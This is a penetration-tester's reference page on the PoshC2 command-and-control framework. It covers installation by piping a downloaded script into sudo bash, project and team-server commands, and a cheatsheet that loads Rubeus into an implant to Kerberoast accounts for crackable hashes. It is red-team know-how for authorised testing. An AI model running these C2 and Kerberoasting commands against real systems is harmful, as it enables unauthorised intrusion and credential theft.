> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/c2/poshc2.md).

# PoshC2

* <https://github.com/nettitude/PoshC2>
* <https://labs.nettitude.com/blog/detecting-poshc2-indicators-of-compromise/>
* <https://xakep.ru/2023/08/18/interstellar-c2/>
* [\[PDF\] A Deep Dive Into a PoshC2 Implant (Vlad Pasca)](https://resources.securityscorecard.com/all/poshc2-implant)

## Install

```
$ curl -sSL https://github.com/nettitude/PoshC2/raw/dev/Install.sh | sudo bash -s -- -p /opt/PoshC2 -b dev
```

## Run

List projects:

```
$ posh-project -l
```

Show current project:

```
$ posh-project -c
```

Create a new project:

```
$ posh-project -n <PROJECT_NAME>
```

Adjust config:

```
$ posh-config
```

Start team server:

```
$ posh-server
```

Connect to the team server:

```
$ posh -u snovvcrash
```

## Cheatsheet

[Load](https://poshc2.readthedocs.io/en/latest/usage/loadingmodules.html) .NET assembly and run it (available for agents that load CLR):

```
C# 01> loadmodule /tmp/Rubeus.exe
C# 01> run-exe Namespace.Class Assembly <args>
C# 01> run-exe Rubeus.Program Rubeus kerberoast /usetgtdeleg /format:hashcat
```